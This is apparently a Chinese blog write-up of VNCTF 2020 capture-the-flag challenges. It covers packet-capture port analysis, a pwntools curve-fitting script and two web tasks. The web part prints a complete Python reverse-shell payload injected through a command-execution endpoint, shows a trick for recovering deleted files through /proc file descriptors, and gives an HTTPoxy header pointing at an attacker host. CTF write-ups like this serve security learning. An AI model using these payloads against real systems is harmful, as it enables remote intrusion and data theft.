复现-V&N CTF 2020

VNCTF 2020

misc

签到

真*签到

image-20220323230659678

flag{welcome_to_vn}

知识点:有手就行

拉跨的三条命令

题目附件是一个zip文件,解压之后得到两个文件:

image-20220323221828966

在参加网络安全大赛第二届世界巡回赛新加坡站一场与SP战队的比赛时,作为K&K战队主防手的你使用经典的“三条命令”检查端口封闭状况。可是这次比赛平台没有回显,你能查出来有哪些端口是开放的嘛?
请将开放端口按由小到大顺序写入flag中 如:开放1、22、234端口,flag{122234}

由此可知,我们需要在流量包里寻找指定的开放端口并组成我们的flag。

为了方便查看端口,我们在wireshark中的调整为解析传输层地址,结果如下:

252e3972e04aef158070f1c35063661f

发现801、631两个端口

8619451f133016d40116cb517b0dec7b

发现21端口

770e8a95dd44c0abd9c14fc269c07de4

22、3306端口开放

因此flag{21226318013306}

知识点:wireshark

ML 第一步

hint:

image-20220323230747735

题目的意思大概是,给出十组数据,进行曲线拟合。

image-20220324083137986

使用python中的pwntools和numpy尝试解决:

import numpy as np
from pwn import remote
import re

p = remote("node4.buuoj.cn", 28788)	# 进行远程连接

p.recvline() # 接受一行输入,recvlines(N)接受N行输入
p.sendline('yoshino-s') # 发送payload,此处为题目要求的name

for i in range(4):
    print(p.recvline())

p.sendline()
s = []
for i in range(70):
    s.append(p.recvline())

def process(s):
    xa = []
    ya = []
    for i in s:
        v = str(i, encoding='utf-8').split(',') # j
        x = float(v[0][2:])
        y = float(v[1][2:-2])
        xa.append(x)
        ya.append(y)

    return (np.array(xa), np.array(ya))

(x, y) = process(s)
z1 = np.polyfit(x, y, 10)
p1 = np.poly1d(z1)
print(p1)

p.recvline()
p.sendline()
for i in range(10):
    q = p.recvline()
    xi = float(re.compile(b'When x=([0-9\.]+),y=?').findall(q)[0])
    p.sendline(str(p1(xi)))
    print(xi, p1(xi))
p.interactive()

image-20220324082928437

flag{2d637287-bdf0-4577-ad4b-ba9e006d5a3d}

知识点:pwntoolsMachine Learning

web

checkin

题目中给定了一个脚本

image-20220324195757223

整理之后如下:

from flask import Flask, request
import os
app = Flask(__name__)

flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()
#
# @app.route('/flag')
# def flag():
#     return flag
## want flag? naive!

# You will never find the thing you want:) I think
@app.route('/shell')  #shell可以执行系统命令
def shell():
    os.system("rm -f flag.txt")  # 执行shell函数时会删除flag文件
    exec_cmd = request.args.get('c')  # 利用参数c来写入系统命令
    os.system(exec_cmd)
    return "1"

@app.route('/')
def source():
    return open("app.py","r").read()

if __name__ == "__main__":
    app.run(host='0.0.0.0')

由于程序在最开始打开了 flag 文件,在 linux 系统中如果一个程序打开了一个文件没有关闭,即便从外部(上文是利用rm -f flag.txt)删除之后,在 /proc 这个进程的 pid 目录下的 fd 文件描述符目录下还是会有这个文件的 fd,通过这个我们即可得到被删除文件的内容。/proc/[pid]/fd 这个目录里包含了进程打开文件的情况,pid就是进程记录的打开文件的序号.

因此利用在ecs本地监听8089端口,并在题目界面发起请求:

image-20220324200510189

/shell?c=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("你的ip",8089));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);%27

image-20220324200439196

成功拿下flag:flag{816e3169-b2b1-4562-bd2a-71bde5e63a69}

知识点:RCELinux基础

TimeTravel

打开靶机,顺便查看一下php版本

image-20220324210307303

image-20220324210429699

源码如下:

<?php
error_reporting(0);
require __DIR__ . '/vendor/autoload.php';

use GuzzleHttp\Client;

highlight_file(__FILE__);

if(isset($_GET['flag'])) {
    $client = new Client();
    $response = $client->get('http://127.0.0.1:5000/api/eligible');
    $content = $response->getBody();
    $data = json_decode($content, TRUE);
    if($data['success'] === true) {
      echo system('/readflag');
    }
}

if(isset($_GET['file'])) {
    highlight_file($_GET['file']);
}

if(isset($_GET['phpinfo'])) {
    phpinfo();
}

传入flag参数,服务器会向http://127.0.0.1:5000/api/eligible发送GET请求,并解析数据。如果服务返回success的话,就会自动读取flag文件。

如果是传入一个文件,则会在页面显示文件内容。

如果是传入phpinfo则会执行phpinfo

image-20220324212414537

phpinfo中可知,是以cgi的方式运行的()

此题的利用姿势可以参考以下内容:

https://github.com/vulhub/vulhub/tree/master/cgi/httpoxy

https://www.laruence.com/2016/07/19/3101.html

因此我们可以利用HTTPoxy漏洞(CVE-2016-5385),通过提交类似于Proxy: http://evil.com的恶意HTTP头,将网站的代理设置为http://evil.com,窃取数据包中可能存在的敏感信息来获得flag

image-20220324213126740
阿里云ecs上frp内网穿透一直失败,待更新

posted @ 2022-03-31 12:39  sherlson  阅读(121)  评论(0编辑  收藏  举报